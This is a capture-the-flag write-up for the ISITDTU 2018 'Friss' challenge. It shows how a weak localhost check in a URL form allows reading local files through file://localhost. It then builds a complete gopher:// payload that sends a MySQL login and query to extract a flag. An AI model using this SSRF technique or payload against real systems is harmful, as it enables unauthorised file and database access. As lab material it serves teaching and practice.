The ISITDTU CTF 2018 – Friss challenge presented us only with a URL without any explanation, on that URL a single form field was displayed:
That form only accepted URLs which point to localhost.
On the page is also a comment in the HTML source code which gives us access to the debug version by appending ?debug=1
to the URL:
Here we find that a config.php
is included. Since only the host part is checked against containing localhost we can request local files like this: file://localhost/etc/hosts
And we can also get the config.php
file by requesting file://localhost/var/www/html/config.php
:
In the config.php
file we find MySQL connection details and information that the flag is probably stored in the table ssrf.flag
.
We can send requests to MySQL by requesting http://127.0.0.1:3306/
but that is not very useful since we need to login and send a query over the MySQL binary protocol.
Fortunately curl still supports the gopher protocol with which we can send requests to MySQL without any additional headers.
Crafting the correct binary content is the hard part but that problem is also solved already. We’ve used this python script to create the payload. The author – Tarunkant – explained SSRF via gopher and his script very well here.
But this script still requires the raw authentication packet. We’ve started a MySQL server and then connected to it via mysql -h 127.0.0.1 -u ssrf_user
(login does not need to succeed).
Sniffing the traffic with wireshark we get the following authentication packet (follow the TCP stream and filter only for client to server traffic):
Switch to raw representation:
Run the above python script to generate the payload, as query we entered SELECT * FROM ssrf.flag;
:
That produces the gopher URL:
gopher://127.0.0.1:3306/_%b3%00%00%01%85%a6%3f%20%00%00%00%01
%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%73%73%72%66%5f%75%73%65%72%00%00%6d%79%73%71%6c
%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%71%03%5f
%6f%73%10%64%65%62%69%61%6e%2d%6c%69%6e%75%78%2d%67%6e%75%0c
%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71
%6c%04%5f%70%69%64%04%31%36%36%33%0f%5f%63%6c%69%65%6e%74%5f
%76%65%72%73%69%6f%6e%07%31%30%2e%31%2e%32%39%09%5f%70%6c%61
%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d
%5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%53%45%4c%45
%43%54%20%2a%20%46%52%4f%4d%20%73%73%72%66%2e%66%6c%61%67%3b
%01%00%00%00%01
And when we request that, we get the flag:
The flag is: ISITDTU{JUST_4_SSrF_B4B3!!}